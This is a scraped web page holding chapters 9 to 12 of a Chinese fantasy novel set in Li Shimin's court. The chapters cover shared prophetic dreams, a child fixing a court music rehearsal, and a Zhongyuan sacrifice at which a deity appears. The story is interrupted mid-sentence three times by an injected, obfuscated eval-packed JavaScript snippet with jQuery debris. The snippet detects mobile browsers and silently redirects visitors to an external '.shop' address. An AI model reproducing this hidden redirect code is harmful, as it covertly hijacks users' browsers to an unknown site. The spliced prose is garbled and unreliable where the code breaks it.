l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114019|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
景颐没说话,他正从模糊的记忆里找出那个珠子杆子的画面。
不多时,他猛地一拍脑袋:“我想起来啦!”随即,不等他们反应,拿起其中一个书吏的笔,在地上画了起来。
只见他画了一个歪歪的长方框,里面加了几笔站不直地竖线,又在线上点了好多个他认为是珠子的小黑点。
两个书吏面面相觑,满脸疑惑,不知道这个贵人要干什么。
景颐画完形状,拍拍手:“大功告成!”
他把笔还给那个书吏,指着地上的画,得意道:“这个东西可以帮你们算得更快哦!”
见书吏一脸痴呆,景颐蹦跶了几下,解释道:“就是把珠子穿在杆子上!我之前看到有人用这个算,算得可快了!”
他学着梦里见到的打算盘的人,手快速地在空中拨弄,还“吧嗒吧嗒”地配音。
看着两个书吏还是不明所以,景颐“哼”了一声,“听不懂算了!”
他转身又想跑,一回头缺差点撞到不知何时悄声无息走到他身后的长孙皇后。
长孙皇后带着两名宫女,显然是路过时,被这景颐凑到书吏旁边作画的一幕吸引了。
“景颐?”长孙皇后温和地唤他,伸手扶住快要摔倒的小家伙,“怎么在此处?”
“大姐姐!”景颐抬起头,眼睛一亮,随即指着后面的书吏,“他们在算数,算得好慢,还老是弄乱!我教他们新的方法,他们还听不懂!真是孺子不可教也!”
他气呼呼的,好像是真的尽全力教了他们。
长孙皇后顺着他指的方向看过去,后面的书吏早就跪在那里行礼。
她牵着景颐走过去,抬手示意他们起身,目光落在地上那堆繁杂的算筹和景颐画的歪歪扭扭的图画。
景颐适时地叽叽喳喳说着他学来的方法,小脸上满是笃定。
长孙皇后心思何等缜密,这孩童口中的方法,乍听是稚子妄言,但细想之下,却似乎,真的比目前的算筹方式要快的多。
联想到陛下曾暗示的此子非常,联想到他那些出人意料的话语和举止……
长孙皇后心中微动,面上却不显,只是微笑着摸了摸景颐的头:“景颐的想法很有趣。不过,这个方法似乎还需要多些时间学习,让他们先把手中的事干好,再去学习这个新方法,可好?”
她使了个眼色给身边一位年纪稍长、眼神灵动的宫女。那宫女会意,微微颔首。
长孙皇后又对景颐柔声道:“丽质和雉奴在御花园喂鱼呢,景颐去找他们玩吧?”
“好!” 景颐的注意力立刻被转移,欢快地应了一声,又像来时一样,风风火火地跑走了。
他想着,喂鱼也好玩!还可以跟阿姊和雉奴炫耀自己刚刚的绝妙想法!
两位嬷嬷连忙向皇后行礼,又急急追去。
待景颐跑远,长孙皇后对着眼前二人吩咐:“刚才景颐所言虽幼,其意或可参详,不妨依此意,粗略构一形制,若有所成,来报于我。”
两人连忙恭敬领命,压下心中疑惑,开始琢磨着这东西该怎么做出来。
长孙皇后望着景颐消失的方向,眼神深邃。
这孩子,究竟是不经意间道破了某种未来的天机,还是仅仅是一次惊人的巧合?
无论如何,这份近乎本能的、直指问题关键的奇思,再次印证了他的不同寻常。
她缓步离开回廊,心中已决定,要将今日这小小插曲,告知陛下。
无论这算珠之想能否成真,景颐这孩子身上奇异的特质,都值得更细致的观察与呵护。
而这,或许也是陛下将他接入宫中的深意之一。
10. 第 10 章
距离上次全程目睹安史之乱的沉重梦境已过去月余。
李世民身心俱疲,改革事务千头万绪,压力巨大。
这段时间为了缓解压力,他总是会处理完奏折后来凝云轩,听着长琴给景颐弹的安流章。
琴声悠扬,让李世民不知不觉在凝云轩的客榻上沉沉睡去。景颐则因为白天到处疯玩,早已在旁边睡得四仰八叉。
起初依旧是混沌。
但预想中的烽火与悲鸣并未出现。取而代之的,是一种温暖、明亮、带着酒香与诗意的喧嚣。
李世民发现自己站在一条繁华的街道上,阳光明媚,行人如织,衣着鲜亮,脸上大多带着富足的笑容。
街道宽阔,店铺林立,旗帜招展,胡商、士子、百姓摩肩接踵,空气中飘荡着香料、美食、酒浆的气味和隐约的丝竹之声。
“李叔叔!” 景颐的声音在身边响起,带着梦特有的清脆回音。
小家伙也在梦里,正睁大眼睛,好奇地东张西望,“这里……好亮!好吵!比我们上次去的地方还热闹!”
李世民下意识地将他拉近些,心中惊疑不定。这梦境与之前截然不同,不见刀兵,唯有升平。是那孩子能力不稳的随机显现,还是……盛世本应有的模样?
他们如两道透明的影子,飘过卖弄幻术的胡人摊前,掠过争论诗文的士子身边,无人察觉。直到一阵尤其嘹亮狂放的笑声,将他们的视线吸引向一座临水酒楼。
二楼轩窗敞开,一群文士正酣饮。居中一人,白衣不羁,头发凌乱,正举杯痛饮,随即掷杯于案,拍掌高歌。
其声清越,穿透市井嘈杂,虽听不清词句,但那睥睨自若、挥洒如虹的气概,瞬间攫住了李世民的目光。
此人……李世民微微眯起眼。
不是朝堂上见过的任何一位重臣,亦非军中悍将。那是一种全然不同的气质,如出鞘之剑,光华夺目,却又带着醉卧云端的疏狂。他仿佛将整条街的繁华与阳光都吸纳于胸,再恣意泼洒出来。
旁边一位年长清癯的长者,非但不以为忤,反而抚掌大笑,眼中尽是激赏。他解下腰间一枚金光灿灿的龟形佩饰,毫不犹豫地推向酒保,朗声道:“酒来!今日当为吾友尽兴!”
金龟映着阳光,刺目耀眼。景颐“呀”了一声,指着那金龟:“亮!乌龟!” 他对值钱与否毫无概念,只是被那金光吸引。
李世民的目光却久久停留在那白衣人身上。虽不识其面,不知其名,但那份才华横溢、傲岸不驯的生命力,那份仿佛能将万物都点燃的澎湃激情,让他心中震动。
这是只有在极度自信、文化极度繁荣的时代土壤里,才可能孕育出的奇葩。
他见过太多人,谨慎的房玄龄,刚直的魏玄成,骁勇的李药师……却从未见过这般人物。
此人若在朝堂,或许是不合规矩的异数;但在此刻这盛世幻影中,他仿佛就是这时代精神最耀眼的注脚。
自由,奔放,才华可以如此毫无顾忌地挥霍与闪耀。
酒楼内的欢宴达到高潮,白衣人似乎又得佳句,仰天大笑,声震屋瓦。那笑声里没有阴谋算计,没有忧国忧民,只有纯粹的、抵达极致的畅快与飞扬。
李世民静静地看着,心中波澜起伏。他治下的贞观,严谨、务实、充满向上的力量,但似乎缺少了一点这样近乎奢侈的、潇洒的、狂放的文化张力。
这是不同时期的特质,还是,未来某个时刻,当国家富足到一定程度,便自然会产生这样的气象?若真有那时,是福是祸?
他无从判断,只是本能地被这人的风采所吸引,如同将军见到绝世利刃,匠人见到稀世宝玉。无关身份,纯粹是对一种极致光芒的欣赏与赞叹。
“李叔叔,他笑得好大声。”景颐小声说,扯了扯李世民的袖子。
“嗯,”李世民低声应道,目光仍流连在那片光影交错的喧嚣中,“此人……非常人也。”
只可惜,惊鸿一瞥,终是幻影。梦境开始如水纹般波动,眼前的繁华盛景、白衣狂客、金龟、酒香,都如同阳光下的泡沫,渐渐模糊、淡去。
最后残留的,是那穿透梦境的笑声余韵,和一片温暖到令人心中发闷的明亮光晕。
醒来。
晨曦微露,凝云轩内一片宁静。李世民缓缓睁开眼,榻边,景颐还睡得小脸通红,偶尔咂咂嘴。
没有冷汗,没有心悸。只有胸腔里残留着一丝奇异的、暖洋洋的感触,和脑海中那个鲜明如烙的白衣身影。
他坐起身,看向窗外渐亮的天光。昨夜之梦,并非警示,却比警示更让他心潮难平。
他见到了一个可能存在的、文化鼎盛的未来剪影,也见到了那种环境下孕育出的、他从未想象过的狂客的模样。
那金龟换酒的豪迈,那纵情诗酒的洒脱……
若大唐真能走到那一步,该是何等光景?
“守护……”他喃喃自语,目光变得深邃而温柔。
要守护的,不仅是眼前的孩童,臣民,疆土,或许还有,
未来某日,可能在某座酒楼里,能够毫无后顾之忧地金龟换酒、挥洒才情的,那种自由与潇洒的可能性。
——
“……那人笑得好大声!颐儿的耳朵都要聋啦!”景颐兴致勃勃地跟师父分享昨夜梦到的景象。
“我还碰到李叔叔了,我们还是第一次在梦里见面呢!”
长琴正在调弦的手微微一顿,琉璃色的眼眸转向说得眉飞色舞的小徒弟。
“哦?在梦里见到了陛下?”他声音平静,却带着不易察觉的探究,“可还见到了别的?比如,周围是什么光景?”
景颐歪着头努力回想:“光景?嗯……很亮!很多人!大家都穿得很好看,在喝酒!李叔叔就站在那里看,我也在看!”
长琴心下微动,李世民能于景颐的溯梦中显形,甚至保持一定的自主意识观察,而非全然被梦境裹挟……
他身上的人皇气运与心志之坚,看来仍在预估之上。
“哦!对了!”景颐拍了下手,“那个笑得很大声的白衣伯伯,他旁边还有个老爷爷用个金闪闪的乌龟换酒喝!好傻哦,乌龟怎么能换酒呢?那又不是玄武爷爷。”
“不得无礼。”长琴敲了敲他的头,警告他,而后又想起什么,“你们与梦中之人,可有交谈?”
“没有呀,”景颐捂着被敲的脑壳,“他们好像看不见我们,也听不到我们说话。”
“日后若再与陛下于梦中相遇,”长琴沉吟片刻,轻声嘱咐,“莫要主动靠近梦中之人,亦莫要试图改变梦中任何事情。只当自己是看客,记住了吗?”
“为什么呀?”景颐不解。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114020|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为,”长琴的声音很轻,“梦如流水,强改其道,或会溅湿自身。你只需看,回来后告诉为师便好。”
景颐似懂非懂地点点头,很快又沉浸在对热闹梦境的回忆里:“那个白衣服的伯伯真有趣,师父,我们以后也能见到那么有趣的人吗?我也想用亮亮的东西换酒喝!”
长琴:“……”
景颐不依不饶,追问着什么时候还能再见到有趣的人。
见师父低着头调弦不搭理他,景颐眼珠一转,跑回房间,开始翻自己的宝贝找有没有亮亮的东西。
他也要拿亮亮的东西换好吃的吃。
恰在此时,宫人通传,长乐公主和九皇子来了。
听到声音,景颐立马回头,看见丽质牵着雉奴走进屋里。
他连忙迎上,手里还拿着刚翻出来的宝贝:“阿姊!雉奴!正好看看我的宝贝!”
他手捧着宝贝递给他们看。
“哇!”两人同时发出一声惊叹。
“亮!好看!”雉奴伸出手指,想戳一戳。
丽质连忙抓住他的手:“这个宝石好漂亮!叫什么名字啊?”
名字?景颐挠挠头,这是他曾经从小貔貅的牙缝里抠出来的,为此小貔貅还生了好长时间的气,还是景颐给他拔了好多根仙鹤的羽毛才哄好。
“嗯……叫、叫貔貅泪!”景颐挺起小胸脯,得意地宣布。
“貔、貅、泪?”丽质试着重复,觉得这名字好听又奇怪,“是貔貅的眼泪化成的宝石吗?”
“差不多吧!”景颐含糊道,反正当时小貔貅也掉了好多金豆子,“它可亮了!我都想好了,以后就拿这个去换……”
他压低声音,神秘兮兮地说:“换最好吃的酪樱桃和毕罗!说不定还能换一坛子酒呢!”
话音刚落,一道灵气就砸在景颐头上,同时还传来长琴的声音:“不许喝酒。”
景颐被砸得“哎呦”一声,听到师父的话,吐了吐舌头。
雉奴也学着景颐:“哎呦!哎呦!”景颐伸手捏了捏他的脸,“哼,不许学!”
丽质却蹙起细细的眉,小大人似的说:“景颐弟弟,这么漂亮的宝石,还是收好吧。市集上的人,万一、万一不识货,或者起了坏心呢?”
她想起娘娘和嬷嬷的教导,贵重之物不可轻易示人。
景颐一听,小脸顿时垮了:“啊?不能换啊?”
他看看手里流光溢彩的貔貅泪,又想想梦里金龟换酒的潇洒,觉得有点委屈。亮亮的东西不能换好吃的,那还有什么用?
“不过,”丽质见他失望,连忙安慰,“你可以给我们多看几眼呀!而且,宫里也有好多好吃的点心,不用宝石换,我让嬷嬷去拿给你!”
雉奴也用力点头:“给!吃!”
景颐的情绪来得快去得也快,听到有点心吃,立刻又高兴起来,把貔貅泪随手揣回荷包里:“好!那我们先去吃点心!吃完点心,我们来玩个新游戏,我刚从别处学会的!”
三个孩子顿时把宝石、换酒什么的抛在脑后,叽叽喳喳地讨论起是先吃玫瑰酥还是先吃玉露团,笑声充满了屋子。
另一间屋子的长琴,指尖终于落在琴弦上,流出一段清泉般的泛音。
他听着孩子们无忧无虑的笑声,垂下眼帘,琴音渐起,将这欢乐,轻轻拢入宁静的旋律里。
11. 第 11 章
六月的长安,暑气初显。
凝云轩的竹林滤下细碎金斑,空气中浮动着竹叶与檀香混合的清冽气息。
长琴端坐在廊下,他今日并未抚琴,面前摆着一卷刚译出的星图残拓。
三日前,太常寺那位须发皆白的老乐正颤颤巍巍地捧出此物,他浑浊的眼底迸出的光,格外的亮。
“此纹非刻非绘,是响出来的。”老人枯指抚过羊皮表面凹凸的韵律暗痕,
“武德七年,邙山古观地陷,老道在断碑下得的。都说它是前朝祭天的《云门》残谱,可我抚了一辈子雅乐,从未听过这样的回音。”
回音。长琴指尖轻触那些凹凸。
不是乐谱,是某种宏大律动掠过天地时,在特殊物体上留下的拓印。
就如风过竹林留下的沙沙声,这卷残拓,是《鸣岐谱》的某个乐章曾经响彻时,震进石碑又转印到羊皮上的。余音的残响。
而星图指向洛阳以北,邙山深处。那里有隋末战乱时崩塌的古观遗址,更有沟通天地的九州地脉结穴之一。
他必须去。
景颐的溯梦近来愈发活跃,前夜孩子嘟囔“梦里有好大的钟在土里哭”,醒来时掌心竟有淡金纹路一闪而逝。
那是麒麟本源受时间乱流刺激开始不稳的征兆。《鸣岐谱》不能再等了。
“师父!”
脆生生呼唤撞碎沉思。景颐顶着一头睡乱的小卷毛从厢房冲出来,赤脚奔过青石板,腕上丽质送的铃铛叮当作响。
他手里举着片不知从哪捡的、泛着虹光的翠鸟羽毛,眼睛亮得惊人:“看!昨天那只小鸟掉的!像不像琴弦上的光?”
长琴接过羽毛,虹彩在指尖流转。是只颇有灵性的翠鸟,许是被景颐身上纯净的祥瑞气息吸引,才落羽为赠。
他随手将羽毛别在徒弟衣襟上:“既赠你,便收好。今日这般早?”
“嬷嬷说,立政殿新做了槐花冷淘!”景颐扒着师父膝盖,忽又想起什么,小声问,“您今天……真的要出门呀?”
向来孩子是不愿面对离别的。长琴看着那双努力藏起不安的深褐色眼睛,将他抱到身侧石凳上坐好。
“为师去寻琴谱,你知晓的。”他声音比平日更缓,“短则七八日,长不过旬月。这些时日——”
“要听李叔叔和大姐姐的话,不能乱跑,玉佩不离身,想师父了就看星星。”
景颐抢着背完,瘪瘪嘴,把脸埋进长琴怀里,“师父说星星是您拨的弦,走到哪都能听见……那您要常拨弦呀。”
长琴掌心覆上孩子细软的发顶,一缕温润灵力如溪流般缓缓注入,是加固也是安抚。“自然。你在此处安好,为师方能专心寻谱。”
日光渐炽时,李世民与长孙皇后亲至凝云轩。
李世民今日身着常服,一袭天青绢袍,玉冠束发,比平日更潇洒几分。长孙皇后则是一身杏子黄的齐胸襦裙,臂挽月色披帛,笑意温婉。
“仙长放心。”李世民率先开口,目光扫过紧紧挨着长琴的景颐,“景颐在宫中,便如高明、青雀一般。我已吩咐下去,凝云轩内外增三班侍卫,皆我亲选之人。一应饮食用度,由立政殿直供。”
长孙皇后上前,轻轻牵过景颐的手,蹲身与他平视:“景颐可愿这些时日,常来立政殿玩?丽质和雉奴听说你要多住些日子,高兴得昨夜都没睡好,说要带你认全御花园所有蝴蝶。”
景颐看看皇后温柔的眼,又仰头看师父。长琴对他颔首。
“嗯!”景颐重重点头,忽然想起什么,从怀里掏出个鼓囊囊的小锦囊,塞进长琴手中,“给师父的!”
长琴解开,是五六块裹得歪歪扭扭的芝麻糖,还有一枚圆润的青金石,正是前几日他夸过色泽沉静的那枚。
“糖是昨天大姐姐给的,我留了一半。石头,带着它,就像带着颐儿的眼睛,帮师父看路!”景颐说得很认真。
长琴收拢锦囊,纳入袖中。“好。”
再无多言。他起身,对帝后郑重一揖,李世民与长孙皇后也同时还礼。
最后看了眼死死抿着嘴、眼圈微红的徒弟,长琴转身,一步踏出轩门。夏风拂过,青衣消失在竹林小径尽头,连脚步声都未曾留下。
景颐追到月洞门边,踮脚张望,只看见竹梢摇曳,云影划过碧空。
一只温暖的手轻按在他肩头。李世民不知何时站到他身旁,望着同一片天空,声音沉稳:“你师父是去做很重要的事。就像我有时要亲征,高明他们也会这般目送。”
景颐揉揉眼睛,忽然问:“李叔叔,您也会怕重要的人不回来吗?”
李世民沉默片刻,低头看他:“会。所以我会让自己变得更强,强到能把所有人都带回来。”
他弯腰抱起景颐:“走,今日休沐。带你去看看我年轻时驯过的昭陵六骏石刻拓本,其中飒露紫的故事,你师父或许还没讲过。”
长孙皇后含笑跟在身侧,指尖轻拂过景颐衣襟上那枚虹彩流转的翠羽。
凝云轩安静下来。
石桌上,那卷星图残拓被长琴以灵力封存。最后一抹离去的灵力在轩中盘旋不去,化作一缕极淡、极清的弦音,缠绕竹梢,终日不绝。
——
长琴离宫第九日。
凝云轩的竹叶依旧青翠,石桌上那缕清音也依旧每日清晨准时流淌。
景颐晨起第一件事便是跑到廊下,踮脚听一会儿,才肯乖乖洗漱。那是师父留的报平安的弦音,一日未断,便是一日无恙。
他被照顾得极好。李世民果真时常带他看石刻、讲兵法,甚至允他在两仪殿偏殿玩,案上堆的奏疏挪开一角,给他腾出摆弄鲁班锁的地方。
长孙皇后更是将他日常带在身边,立政殿常备着他爱吃的槐花冷淘和樱桃酪,丽质与雉奴几乎成了他的小尾巴。
这日午后,暑气正盛。立政殿后阁放了冰鉴,丝丝凉意混着薄荷清香。
长孙皇后在窗下看账册,丽质和李治挨着景颐,三个脑袋凑到一起,看着李承乾和李泰打双陆。
玉制棋子落在紫檀棋盘上,发出清脆的“哒哒”声,与阁外绵长的蝉声交织。
景颐看了一会儿便失了兴致,棋子规矩地走格,哪有跑来跑去来的痛快?他小脑袋转来转去,耳朵却忽然动了动。
不是蝉鸣,也不是棋子声。
是乐声。极远,被重重宫墙与暑气过滤的只剩一缕游丝,却像根羽毛,轻轻搔着他耳朵,让他的心也跟着浮动起来。
“阿姊,”他拽拽丽质衣袖,眼睛亮起来,“你听,是不是有人在弹曲子?”
“弹曲子?”李治学舌,竖起耳朵,却只听到兄长们的落子声和蝉鸣。
丽质也侧起耳朵,摇摇头:“没有呀。”
李承乾和李泰也停了棋局,李泰最是好奇:“什么曲子?我怎么没听见?”
“有!”景颐肯定道,他已站起身,像只嗅到花蜜的小蜜蜂,循着那几不可闻的声音往外走,“好听的!我们去找!”
长孙皇后从账册间抬起头,见状微笑:“景颐听到了什么?”
“好听的歌!”景颐形容不来,“像……像师父调弦时,有时候会有的那种嗡嗡的回音。”
这话让长孙皇后心中微动,她放下账册,目光温和地看着他:“景颐听见的是太常寺在排演中元祭乐吧?今日是该合练《云门》大章了。”她记得日程。
“大姐姐,我们能去看看吗?”景颐跑过来,拽着她的衣袖轻晃,软声撒娇,“就看看!”
长孙皇后向来无法抵抗景颐的撒娇大法,她捏了捏景颐软乎乎的小脸,笑道:“既然如此,那就让王嬷嬷带你们去太常寺官署附近走走可好?”
看着景颐兴奋地连连点头,她又补充道:“只许在外围廊下观望,莫要打扰乐工正事。”
她特意选了最沉稳的老嬷嬷,又点了四个机警的内侍。太常寺在皇城东南隅,离后宫不远,沿着宫墙内甬道走,一路皆有侍卫。
待长孙皇后安排好后,景颐蹦蹦跳跳地拉着丽质和李治的手往外飞奔。
而李承乾和李泰虽然也很好奇,但外头暑气难耐,且手下的双陆还没打完,便没跟着他们一起去。
一行人出了立政殿,穿过两道垂花门,沿着宫墙内槐荫覆盖的甬道向东。
越往太常寺方向走,那乐声便越清晰。钟、磬、瑟、箫……许多声音叠在一起,庄重里混着一丝不易察觉的滞涩,像本该流畅的小溪卡了几处小石子。
太常寺官署是座三进院落,青瓦灰墙,古柏参天,自有一番肃穆气象。
乐声从第二进的正堂传出,院门开着,乐工们正襟危坐,主位的老乐正裴亶眉头紧锁,手中的象牙尺再次敲下:
“停!还是不对!商转羽,要的是圆融贯通,如云气般自然流转!你们这、这分明是硬扭过去的!”
乐工们面露难色,一位吹箫的老乐师擦了擦额头的汗:“裴工,谱上便是如此标记,下官已是按谱……”
“按谱!按谱!”裴亶又是气急,“谱是死的!《云门》之乐传自黄帝,本该沟通天地!你们奏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114021|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得如此生涩,如何引动灵应?”
他年事已高,此次中元大祭是他最后一次奏乐,自然是看得极重,生怕有一丝瑕疵。
“箫声需再沉三分,与钟磬和鸣,不可抢拍!再来!”
乐工们重整气息,又奏。可到了那处转折,箫声依旧略显凝滞,与厚重的钟磬总差一丝契合。
“唉……”裴亶叹气。
景颐在门外听得入神,他不懂乐理,但那不契合的感觉在他耳中异常鲜明。
就像流云境的仙鹤偶尔飞歪了队形,他看着就别扭。他无意识地跟着那旋律哼起来,试图在心里把歪掉的地方掰正:“嗯……这里应该,往下沉一点点,像石头落进深潭,然后等钟响了再起来……”
他哼得极轻,几乎只是气音。但调子里有种奇异的笃定,几个细微的音高变化,竟暗合了某种更古老、更自然的韵律节奏。
那是他偶尔听长琴抚弄太古残谱时,无意间记下的乐感。
门内,裴亶猛地抬头!
“谁?!”他霍然起身,几步跨到院门边。
廊下,嬷嬷内侍们慌忙行礼:“见过裴乐正。”
裴亶却一眼看见了被丽质挡在身后、还保持着哼唱口型的景颐。孩子衣着精致,面容灵秀,尤其那双眼睛,澄澈得仿佛能映出乐器上流动的光。
“刚才是……小郎君在哼曲?”裴亶声音有些发颤。
景颐见这老爷爷胡子都白了,眼神急切地像要吃了自己,往丽质身后缩了缩。
丽质忙道:“裴公,这是景颐弟弟,母后让我们在此观赏,可是打扰了?”
“不不不……”裴亶摆摆手,目光仍锁在景颐脸上,像在看什么稀世珍宝,“小郎君,你方才哼的……能否再哼一次?就最后那两句。”
景颐感觉到他情绪缓和了下来,胆子大了点:“就是,嗯……咚——沉下去,等当——响了,再嗡——浮起来……”
他边哼边用手比划,模拟音高起伏。没有词,只有最纯粹的韵律直觉。
裴亶听着,眼底的光越来越亮。待景颐哼完,他竟不顾礼仪,一把抓住景颐的小肩膀,被嬷嬷轻咳一声才松开,激动得胡子直抖:
“妙!妙啊!正是此意!商转羽,非直坠,乃石落深潭,需那一下沉透的余韵,待钟磬之波漾开,再起新声……老朽钻研《云门》四十余年,竟不如稚子一语道破天机!”
他猛地转身,对乐工高声道:“都听见了?按小郎君这感觉再来一次!箫声,沉下去!等!等钟响!”
乐工们虽茫然,但依言重奏。这一次,那箫师刻意压住气息,在转折处留出一刹珍贵的空白,待钟磬轰鸣的余韵漫开,才缓缓托起后续旋律。
嗡……
堂内空气仿佛都随之震动。先前那滞涩感豁然贯通,整段乐曲如活水般流淌起来,庄重中竟透出一丝天地交感的宏大意味。
“成了!成了!”裴亶激动得老泪纵横,对着景颐,郑重地、深深地长揖到地:“老朽……拜谢小郎君指点迷津!此恩此德,太常寺上下没齿难忘!”
景颐被这大礼吓了一跳,躲到丽质身后,只露出一只眼睛眨巴着。他不明白老爷爷为什么这么激动,他只是觉得那样吹比较好听呀。
“裴公!”嬷嬷连忙上前扶起,温声提醒,“皇后殿下还在等小郎君回去用点心呢。”
裴亶醒悟,忙收敛情绪,但看景颐的眼神已截然不同。他小心翼翼地问:“小郎君可曾习乐?师从何人?”
景颐摇头:“没有呀。就是听师父弹琴,有时候做梦也会听到好听的歌。”
做梦……裴亶心中震撼更甚。
他忽然想起月前宫中隐约流传的凝云轩仙长之说,再看这孩子通身灵气,隐约明白了什么,不敢再多问,又深深一揖:“今日蒙小郎君点拨,老朽与太常寺上下,感激不尽。”
回立政殿的路上,丽质好奇地问:“景颐弟弟,你怎么知道那里该那样唱呀?”
景颐自己也说不清,挠挠头:“就觉得,那样才对劲。像树上果子熟了就该掉下来,水往低处流一样自然。”
王嬷嬷与内侍对视一眼,将今日之事牢牢记下。
当夜,长孙皇后听罢王嬷嬷面带惊色的详细禀报,静坐良久。
她铺开宣纸,提笔将此事记下。
写到“景颐闻《云门》而正其音,裴亶谓之天授……”时,笔尖悬停,一滴墨悄然洇开。
她望向窗外星空。那里,长琴留下的弦音正与夜风交织。
半月后,便是中元。
12. 第 12 章
七月十五,望日。
长安城自清晨起,便笼罩在一层肃穆之中。各坊设祭,家家户户以素食新谷祭祖,纸钱青烟袅袅升腾,连西市的胡商都收敛了叫卖,在门前摆上一碟瓜果。
皇宫的祭祀设在大明宫东南的圜丘。
三层圆坛以白玉砌成,象征天圆地方。坛周按二十八星宿方位树青旗,坛上设天地神位,三牲六礼陈列有序。
太常寺乐工三百人环列下坛,着玄端礼服,持钟磬笙箫,静默如林。
景颐寅时就被唤起,长孙皇后亲自为他换上月白色的锦缎深衣,腰间束玄色绦带,配以那枚从不离身的羊脂玉佩。
丽质与李治亦着礼服,三个孩子跟着长孙皇后身后,乘舆驾前往圜丘。
“景颐,”舆车中,长孙皇后轻声嘱咐,“稍后无论看到什么,莫要出声,莫要乱动,抓紧雉奴的手。”
她目光温和,话里却带着郑重。
景颐似懂非懂地点点头,心里却想起昨夜梦见师父在一片漆黑的山谷里拨弦,弦音荡开时,许多模糊的影子从地底浮起,对着仅有的一道光束作揖。
卯正,日出东方。
李世民登坛,着十二章衮冕,玄衣纁裳,佩大圭,执镇圭。初阳金光镀在他身上,天子的威仪与此刻的虔诚浑然一体。
长孙皇后率后宫与宗室、命妇于下坛东侧,皇子公主们在更外围的观礼区。
太常博士立于乐工前,深吸一口气,举麾。
“吉时到——迎神——”
三百乐工齐奏《云门》。
正是景颐那日点拨过的段落。钟声雄浑如大地初开,磬声清越似清风过隙,萧管沉沉而下,瑟弦袅袅而起。
这一次,所有的滞涩尽去,整部乐章如一条银河,从坛上奔涌,携着无数人的愿力与念想,直上九霄。
景颐睁大了眼。
常人只见香烟升腾,乐声庄严。在景颐眼里,那乐声竟在空中凝出了淡金色的纹路,如同师父抚琴时偶然在弦上荡开的灵光涟漪。
这些音纹交织上升,在虚空中缓缓旋成一个巨大的、若隐若现的漩涡。
漩涡深处,有清光透出。
起初只是一点,随即迅速扩大,化作一道贯通天地的光柱,纯净、肃穆、带着无法言喻的古老威压。光柱中,隐约可见宫阙虚影,仙官侍立。
坛上,李世民率百官三跪九叩,诵读祭文。他声音沉稳有力,每个字吐出,都有一缕淡紫的帝王气运融入乐声的金纹中,让那光柱愈发凝实。
光柱中央,一道身影渐渐清晰。
景颐屏住呼吸。
那是位身着玄色帝王冕服的神祇,冠冕十二旒垂下,遮住半张面容,只露出线条冷峻的下颌与薄唇。
他周身笼罩着一层似有若无的青色光晕,右手持玉笏,左手虚托一本摊开的、光芒流转的巨册,是地祇考功簿。
地官大帝,清虚帝君。
帝君降临的刹那,整个圜丘的空气都凝滞了一瞬。风停,蝉噤,连飘扬的青烟都定格成笔直的线。唯有乐声与祭文声仍在流淌,汇入大帝周身的光晕中。
祂开始工作。
没有多余动作,玉笏轻点,考功簿自动翻页。
无数极细的、常人不可见的淡金色丝线从长安城各处,家家户户的祭坛、佛寺道观的法会、甚至荒郊野坟的孤烟,汇涌而来,没入簿中。
那是众生今日的祈愿、忏悔、追思与功德。
帝君的目光淡漠地扫过这些丝线,偶尔在某条上停留,指尖微动,或加持一缕清气,或抹去一缕浊色。
祂的工作高效、精确,不带丝毫情绪,如同天道本身在履行既定的章程。
景颐看得入神。他能感觉到,这位帝君身上有种与师父相似又不同的气息。
师父的灵气清冷疏离,如高山雪;这位帝君的神威则厚重渊深,如无边大地。
许是看得太专注,他无意识间泄露了一丝自己的气息。
纯净、蓬勃、尚未被红尘沾染的先天麒麟瑞气。
坛上,大帝正在批阅一条格外粗壮的功德金线,忽然动作一顿。
祂缓缓抬头,目光越过层层仪仗、百官、乐工,精准地落在了观礼区那个小小的月白色身影上。
十二旒轻轻晃动。
四目相对。
景颐心脏怦地一跳,下意识抓紧了李治的手。李治茫然地抬头看他,不明白小兄长为何突然用力。
帝君的目光在景颐身上停留了三息。那双隔着玉旒看不清的眼眸里,似乎闪过一丝极淡的讶异,随即化为了然。
祂对景颐微微颔首。
一个极轻微的动作,却让景颐周围的空气都温暖了几分,仿佛有看不见的手轻轻拂过他的头顶,颈间的玉佩也骤然温暖。
然后,帝君继续工作,仿佛刚才只是处理了一个微不足道的小插曲。
祭祀进入高潮。李世民亲手点燃祭天台上的青词表文,火焰腾起三丈,与光柱交相辉映。太常寺乐工奏响《咸池》,乐声宏大如潮,推动着所有愿力涌向光柱中的大帝。
约莫一刻钟后,考功簿光芒渐敛。帝君合上簿册,玉笏一收,那道贯通天地的光柱开始缓缓收缩。祂的身影随之淡去,最后化作一点清光,消失在漩涡深处。
漩涡闭合,金色音纹消散。
风重新开始流动,蝉鸣再度响起。
“礼成——送神——”
太常博士的声音带着沙哑。三百乐工奏完最后一个音符,余音在圜丘上空回荡许久,才渐渐融入夏日的风里。
百官山呼万岁,祭祀圆满结束。
李承乾松开紧握的掌心,这才发觉指尖冰凉。他侧目看向身旁的景颐,孩子正仰着小脸,怔怔望着大帝消失的天空,深褐色的眼眸映着朝霞,流光溢彩。
“景颐?”他轻声唤。
